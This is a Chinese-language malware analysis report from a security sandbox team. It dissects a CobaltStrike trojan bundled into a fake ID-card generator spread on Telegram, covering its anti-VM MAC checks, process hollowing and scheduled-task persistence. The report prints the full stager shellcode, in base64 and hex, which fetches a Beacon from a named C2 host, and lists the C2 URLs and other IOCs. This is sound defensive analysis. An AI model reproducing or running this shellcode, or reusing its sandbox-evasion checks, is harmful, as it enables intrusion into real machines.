一、概述
近期HVV行动,天穹沙箱分析人员持续关注沙箱样本的投递情况。在近几日的监测中,发现一个钓鱼样本被大量用户重复投递,这一高频率出现的样本岂能逃过分析人员的火眼金睛?本次分享,就和大家一起一层一层地剥开它的心。样本名为“身份证正反生成.zip”,从名称来看,这是一个灰黑产相关的软件,初步判断它是典型的HVV样本。对压缩包解压处理,得到一个命名为身份证正反生成.exe的可疑执行文件,以及一个包含大量.pyd
文件的 _internal 目录。初看解压后的内容,文件后缀名和目录格式这些特征极易误导分析人员认为这是一个PyInstaller打包的木马程序。但随着深入分析,我们发现它实际是一个CobaltStrike 木马,该样本同时具有反沙箱特征,成功规避了多家友商沙箱检测,这也激起了我们的好奇心,决定一探究竟。
二、样本基本信息
样本的基本信息如下:
三、样本分析
1、 压缩包分析
打开分析报告,报告顶部列出了该压缩包样本的关键分析文件,点击即可查看子分析报告。在完全解压列表部分展示了样本包含的全部内容,如图1所示,状态列标注了文件分析结果,可以看到沙箱挑选了身份证正反生成.exe和几个bat脚本进行分析,自动筛选机制将挑选更具可疑性和分析价值的文件进行动态分析,极大提升了分析速度:
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图1 完全解压列表
样本解压后的目录树结构如下,已隐藏部分目录:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
|
身份证正反生成 └─_身份证正反生成.exe _internal ├─asserts │ └─fonts ├─cv2 ├─idcard_generator ├─numpy ├─PIL ├─tcl │ ├─encoding │ ├─http1.0 │ ├─msgs │ ├─opt0.4 │ └─tzdata ├─tcl8 │ ├─8.4 │ │ └─platform │ ├─8.5 │ └─8.6 └─tk ├─images ├─msgs └─ttk
|
2、动态行为分析
2.1、反沙箱
点击顶部的身份证正反生成.exe打开该文件的分析报告,也可点击完全解压列表中身份证正反生成.exe一行的查看报告跳转到该文件的分析报告。在动态行为类目中注意到样本执行了查询网卡信息的操作,如图2所示,这是一条非常普通的行为,不少友商沙箱在捕获该行为后就结束了,没有任何后续行为,如图3、4所示:
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图2 查询网卡信息
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图3 某友商检测到查询网卡信息行为,但没有任何后续行为
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图4 另一友商检测到查询网卡信息行为,但没有任何后续行为
分析样本发现,样本通过调用GetAdaptersAddresses
函数获取MAC地址,以此检测运行环境是否是虚拟机,如图5所示:
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图5 获取MAC地址
随后检查是否存在虚拟网络适配器(VMnet
),并判断MAC地址中是否包含常见虚拟机MAC地址前缀,一旦匹配成功直接退出执行,如图6所示:
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图6 检测MAC地址反虚拟机和反沙箱
样本检查的MAC前缀如下:
-
00-05-69:Parallels Desktop
-
00-0c-29:VMware Workstation, VMware Fusion, VMware ESXi, VMware Player
-
00-50-56:VMware Workstation, VMware Fusion, VMware ESXi, VMware Player
-
00-03-ff:Microsoft Hyper-V, Virtual Server, Virtual PC
-
08-00-27:Sun xVM VirtualBox
-
52-54-00:QEMU/KVM
该样本的反沙箱手段并不高明,但仅凭检测MAC地址这一项探测行为,就成功绕过了不少沙箱。这里我们也投递了一个测试程序用于获取运行环境的MAC地址,发现上述两个友商环境的MAC地址均可匹配MAC前缀检测列表,如图7、8所示:
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图7 友商一MAC地址
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图8 友商二MAC地址
2.2、傀儡进程
进一步分析发现,样本创建傀儡进程注入了wlanext.exe
,可以在报告中清晰地看到样本注入Payload的完整过程,如图9所示:
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图9 创建傀儡进程
报告展示内容较多,这里我们问问TQGPT,让它帮我们总结一下该样本如何实现傀儡进程
,如图10所示:
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图10 该样本如何实现傀儡进程
通过IDA分析,可以看到该样本使用常规手法创建傀儡进程,完整反编译代码较长,这里仅展示关键部分,如图11、12、13所示:
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图11 创建傀儡进程代码1
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图12 创建傀儡进程代码2
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图13 创建傀儡进程代码3
2.3、计划任务
继续分析,傀儡进程释放了名为wlanext.exe
的可执行文件到下载
目录,并创建一个名为MicrosoftWLanext
的计划任务,其内容为执行 c:WindowsSystem32TasksMicrosoftWLanext
,如图14所示:
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图14 释放PE并创建计划任务
我们将之前傀儡进程注入的Payload给dump下来,使用IDA分析可以验证此过程,如图15、16所示:
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图15 释放可执行文件到下载目录
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图16 创建计划任务
该样本设置计划任务详细信息如下:
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
这表明该计划任务的触发时机为用户登录时,当用户登录时将以最高权限运行程序C:UsersPublicDownloadswlanext.exe
。
2.4、Shellcode下载与执行
依赖于天穹沙箱的自动执行计划任务功能,在检测到创建了新的计划任务后,沙箱立即执行MicrosoftWLanext
计划任务,因此C:UsersPublicDownloadswlanext.exe
被成功执行,报告显示其访问了C2地址:21hjgt71f[.]sharedomain.top:2086
,解析后的IP地址为:172.67.216.86:2086
,如图17所示:
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图17 访问C2地址
由于该C2地址在国内无法访问,后续行为无法进一步触发,我们借助IDA分析其后续行为。分析结果表明,样本在与以上C2建立TCP连接后,发起GET http://21hjgt71f.sharedomain.top:2086/config.txt
下载Payload,如图18所示:
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图18 访问C2地址并下载Payload
此处,我们手动下载config.txt
,其内容如下:
1
|
/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//V6AAAAAAx/1dXV1dXaDpWeaf/1emkAAAAWzHJUVFqA1FRaPsgAABTUGhXiZ/G/9VQ6YwAAABbMdJSaAAywIRSUlJTUlBo61UuO//VicaDw1BogDMAAIngagRQah9WaHVGnob/1V8x/1dXav9TVmgtBhh7/9WFwA+EygEAADH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3UHWFDpe////zH/6ZEBAADpyQEAAOhv////L2FwaS8xADgDVxkbHyPy9E2vIW6AcVBBNEgtszNOD2FZMyCd2bKsn8LuilL0tL1rdBONoY6gGOBC0LtxtUqkSRdIiIvnb0FDMnJhcLZpCABIb3N0OiAyMWhqZ3Q3MWYuc2hhcmVkb21haW4udG9wDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4wOyBUcmlkZW50LzUuMCkNCgC/WBPCcXCfhzpOP+onL768/C1rjsrOXFCUiqQfsLvSHEVg7fqGvz23l/zTfzlUAiQL8o+48jX0F/Bs7mAhsfKYNTUP+AaYznRPxkujDt0oe9oO7RoT/i4E4BSqN7S1vkL6dx68nv4gC2tdcAfMQxMvZYusbXt859HCBhhwzycn1i1jVXW2i2j6fFgOeKp2XF+yZZ4qKQAWpAYfeI/F+CZLRpYaBgoGmOw2nSzhRmt3ojs2rzWIoQV9LqK/y6gD5e8AaPC1olb/1WpAaAAQAABoAABAAFdoWKRT5f/Vk7kAAAAAAdlRU4nnV2gAIAAAU1ZoEpaJ4v/VhcB0xosHAcOFwHXlWMPoif3//zIxaGpndDcxZi5zaGFyZWRvbWFpbi50b3AAAAGGoA==
|
这是一段Base64编码的Payload,解码后以16进制查看,其头部FC E8
是典型的x86 Shellcode Stager
特征,显然是一个CobaltStrike的Stager:
1
|
fce8890000006089e531d2648b52308b520c8b52148b72280fb74a2631ff31c0ac3c617c022c20c1cf0d01c7e2f052578b52108b423c01d08b407885c0744a01d0508b48188b582001d3e33c498b348b01d631ff31c0acc1cf0d01c738e075f4037df83b7d2475e2588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe0585f5a8b12eb865d686e6574006877696e6954684c772607ffd5e80000000031ff5757575757683a5679a7ffd5e9a40000005b31c951516a03515168fb20000053506857899fc6ffd550e98c0000005b31d252680032c08452525253525068eb552e3bffd589c683c350688033000089e06a04506a1f566875469e86ffd55f31ff57576aff5356682d06187bffd585c00f84ca01000031ff85f6740489f9eb0968aac5e25dffd589c16845215e31ffd531ff576a0751565068b757e00bffd5bf002f000039c775075850e97bffffff31ffe991010000e9c9010000e86fffffff2f6170692f3100380357191b1f23f2f44daf216e8071504134482db3334e0f615933209dd9b2ac9fc2ee8a52f4b4bd6b74138da18ea018e042d0bb71b54aa4491748888be76f414332726170b6690800486f73743a203231686a67743731662e7368617265646f6d61696e2e746f700d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d53494520392e303b2057696e646f7773204e5420362e303b2054726964656e742f352e30290d0a00bf5813c271709f873a4e3fea272fbebcfc2d6b8ecace5c50948aa41fb0bbd21c4560edfa86bf3db797fcd37f395402240bf28fb8f235f417f06cee6021b1f29835350ff80698ce744fc64ba30edd287bda0eed1a13fe2e04e014aa37b4b5be42fa771ebc9efe200b6b5d7007cc43132f658bac6d7b7ce7d1c2061870cf2727d62d635575b68b68fa7c580e78aa765c5fb2659e2a290016a4061f788fc5f8264b46961a060a0698ec369d2ce1466b77a23b36af3588a1057d2ea2bfcba803e5ef0068f0b5a256ffd56a4068001000006800004000576858a453e5ffd593b90000000001d9515389e7576800200000535668129689e2ffd585c074c68b0701c385c075e558c3e889fdffff3231686a67743731662e7368617265646f6d61696e2e746f7000000186a0
|
进一步分析,我们拿到了Stager下载的Beacon,如图19所示:
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图19 加密后的Beacon
我们将Beacon投入天穹沙箱,成功运行并提取到了威胁配置信息,如图20所示:
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图20 威胁配置信息
天穹沙箱支持Shellcode自动分析,检测到Shellcode时会自动加载并分析,因此在动态行为中可以看到其连接CobaltStrike C2的行为,如图21所示:
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图21 连接CobaltStrike C2
2.5、后续行为
以上分析表明,样本并不是PyInstaller样本,但却携带了一个与PyInstaller相关的目录,那么这个目录的作用到底是什么呢?我们回到身份证正反生成.exe
文件,继续分析后续行为。
查看报告发现,样本释放了同名可执行文件到TEMP
目录,并将其启动, 如图22、23所示:
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图22 释放同名可执行文件到TEMP目录
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图23 执行TEMP目录下的同名文件
使用IDA进行验证,样本将_internal
目录拷贝值为%TEMP%
的目录,同时解密自身数据并写入到%TEMP%/身份证正反生成.exe
,之后运行临时目录下的身份证正反生成.exe
,如图24所示:
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图24 拷贝并执行落地文件
使用分析工具查看,释放的同名可执行文件为PyInstaller打包文件,如图25所示,_internal目录为其依赖。
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图25 落地文件信息
样本将释放的同名可执行文件启动后,的确是一个用于生成身份证正反面的程序,桌面弹出了生成身份证照片的窗口,如图26所示,该窗体使用GUI框架TK
库编写,还能看到Telegram机器人:@ekvv0s_bot
:
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图26 程序运行窗体
通过VNC交互验证软件功能,选择一张测试证件照,点击生成,确实能够生成身份证正反面照片,且拟真度较高,如图27所示,这显然是一个黑产软件。
![【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马](https://www.ctfiot.com/wp-content/themes/onenav/images/t.png)
图27 生成身份证正反面照片
据此分析,该木马可以被判定为一种伪装成灰黑产的恶意软件,它巧妙地利用Telegram平台进行传播。该样本极有可能是将自身捆绑到原灰黑产软件之中,借免费使用等幌子在Telegram上广泛散布,诱骗用户点击执行。一旦恶意操作得逞,该样本会巧妙地将原始软件释放至系统的临时文件夹(TEMP目录)并执行,以确保用户在日常使用中不易察觉,从而实现了对受害者设备的隐蔽感染。
四、IOC
恶意文件(SHA1)
1 2 3 4 5 6 7 8
|
52BCF74F480F83592E456F54B1EFE25F45E9C05E 身份证身份证正反生成.zip C249B9307E68A9A0C1D5C2D4CDF24C14B9CD9CA8 身份证身份证正反生成.exe(原始) E700DA751C84F694F774E86006C7414E2E8B09B1 身份证身份证正反生成.exe(释放到临时目录) FB522ACD43DE0B84BEFA7F1DEFF7FD19E17225D1 wlanext.exe(释放到下载目录) 985D9DFDB42ACCAB741C9CA1E7ED929BA4FB2B01 傀儡进程注入Payload A889173A7FB2F4C792A85FD1A460E573AF087AFE config.txt B70524219226703FAF27119954F90C88600215CE CobaltStrike Stager 3AD9A73B79FDC5F08CEB11663FB4EEB42B97EE98 CobaltStrike Beacon
|
恶意链接
1 2 3
|
http[:]//21hjgt71f.sharedomain.top:2086/config.txt config.txt下载链接 https[:]//21hjgt71f.sharedomain.top:8443/api/1 CobaltStrike Stager C2 https[:]//21hjgt71f.sharedomain.top:8443/api/3 CobaltStrike Beacon C2
|
星图实验室隶属于奇安信技术研究院,专注于软件与系统安全的核心技术研究与系统平台研发,对外输出“天穹”软件动态分析沙箱、“天问”软件供应链分析平台、“天象”软件漏洞挖掘系统等核心能力和工具系统。
我们目前正在招聘,工作地点覆盖北京、上海、成都等城市,详情请参见:
https://research.qianxin.com/recruitment/
原文始发于微信公众号(奇安信技术研究院):【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马